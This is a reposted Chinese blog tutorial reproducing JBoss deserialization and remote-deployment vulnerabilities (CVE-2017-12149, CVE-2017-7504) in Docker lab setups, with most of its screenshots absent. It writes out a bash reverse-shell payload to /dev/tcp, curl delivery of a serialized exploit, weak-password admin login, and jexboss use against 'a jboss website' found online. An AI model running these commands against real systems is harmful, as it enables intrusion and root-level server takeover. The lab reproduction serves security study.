vlambda博客
学习文章列表

JBOSS中间件漏洞总汇复现

原文链接 :

https://www.cnblogs.com/edcsong/p/11850533.html

JBoss JMXInvokerServlet 反序列化漏洞


漏洞复现


直接使用docker搭建的漏洞环境。


环境启动以后,直接访问http://you-ip:8080。


 

 

 使用下载的工具进行检测  java -jar DeserializeExploit.jar


 JBOSS中间件漏洞总汇复现

 

 执行命令


 JBOSS中间件漏洞总汇复现

 

文件管理


 JBOSS中间件漏洞总汇复现

 

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

参考链接:https://www.cnblogs.com/Hi-blog/p/7904443.html


漏洞背景


该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。


漏洞复现

漏洞环境

测试机:192.168.10.150

http://192.168.1.102:8080/

及 http://192.168.1.102:8080/invoker/readonly


 JBOSS中间件漏洞总汇复现

 

JBOSS中间件漏洞总汇复现

 

 响应码500,证明漏洞存在。


下载漏洞利用工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip


 JBOSS中间件漏洞总汇复现


先编译:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java


 JBOSS中间件漏洞总汇复现

   

设置反弹的IP和端口


 JBOSS中间件漏洞总汇复现



先在测试机运行nc命令,进入监听模式:


JBOSS中间件漏洞总汇复现


再打开另一个控制台,运行如下curl命令:


JBOSS中间件漏洞总汇复现


反弹成功


 JBOSS中间件漏洞总汇复现

 

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)


前言


序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。


JBOSS中间件漏洞总汇复现

  

漏洞环境

此次环境尝试用docker搭建。

靶机:

ip:192.168.10.144    操作系统:ubuntu18.0.4 LTS

攻击机:

ip:192.168.10.150    操作系统:kali


一、环境搭建

  1.docker的安装参考

    https://www.howtoing.com/ubuntu-docker

  2.安装完docker后,直接拉取vulhub的源码。

    https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504

  3.靶机启动服务

    执行如下命令启动JBoss AS 4.0.5

      docker-compose up -d


 JBOSS中间件漏洞总汇复现

 

漏洞复现

一、exp准备:

  • https://github.com/joaomatosf/JavaDeserH2HC

  用法:

 JBOSS中间件漏洞总汇复现

 

二、exploit
  1) 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据

 JBOSS中间件漏洞总汇复现

 

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #编译 


    java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.10.150/1234 0>&1"       #ser全称serialize,序列化恶意数据至文件。   

 

     第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class

     第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser


 JBOSS中间件漏洞总汇复现

 

 2)发射:

   将该文件作为请求数据主体发送如下数据包:curl http://192.168.10.144:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser  # --data-binary 意为以二进制的方式post数据


 JBOSS中间件漏洞总汇复现

 

   反弹成功


 JBOSS中间件漏洞总汇复现

 

JBoss远程部署漏洞

参考链接:https://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html

漏洞产生

后端未对用户可控参数做严格的过滤。

漏洞危害

导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制。

漏洞复现

直接使用docker搭建的漏洞环境。

访问:http://you-ip:8080/

 JBOSS中间件漏洞总汇复现

 

   点击,访问后台 使用弱口令登陆(admin--admin)

 JBOSS中间件漏洞总汇复现

 

   进入后台,如图所示

 JBOSS中间件漏洞总汇复现

 

 找到如下图所示的入口,点击进入

JBOSS中间件漏洞总汇复现

 

 

找到这个入口

 JBOSS中间件漏洞总汇复现

 

点击invoke执行界面获得一个jsp的webshell,(没有合适的jsp包)

 

使用kali复现

参考链接:https://blog.csdn.net/u011215939/article/details/79141624

所需工具:kallinux,jexboss,

获取工具:打开kalilinux,在kali终端中输入以下命令:


 JBOSS中间件漏洞总汇复现

 

 下载完成


 JBOSS中间件漏洞总汇复现


 运行 python jexboss.py


JBOSS中间件漏洞总汇复现


 检验是否能够执行,可以执行就是如下:


 JBOSS中间件漏洞总汇复现

 

  找一个jboos的网站,如图所示


JBOSS中间件漏洞总汇复现

 

 将这个IP:8080复制到kalilinux中使用jexboss工具进行检测;


 JBOSS中间件漏洞总汇复现

 

执行,工具会依次检测一下项目,有漏洞就会显示红色的:VULNERABLE(易受攻击的),工具就会根据找到容易受到攻击的点,进行利用


 JBOSS中间件漏洞总汇复现

 

 然后选择yes,开始创建连接;


 JBOSS中间件漏洞总汇复现


 返回信息显示连接成功了;


 JBOSS中间件漏洞总汇复现

 

 现在获取了shell,开始执行shell命令了;返回的信息显示,这是一个linux操作系统;


 JBOSS中间件漏洞总汇复现

 

执行几条命令看看;root权限 



版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!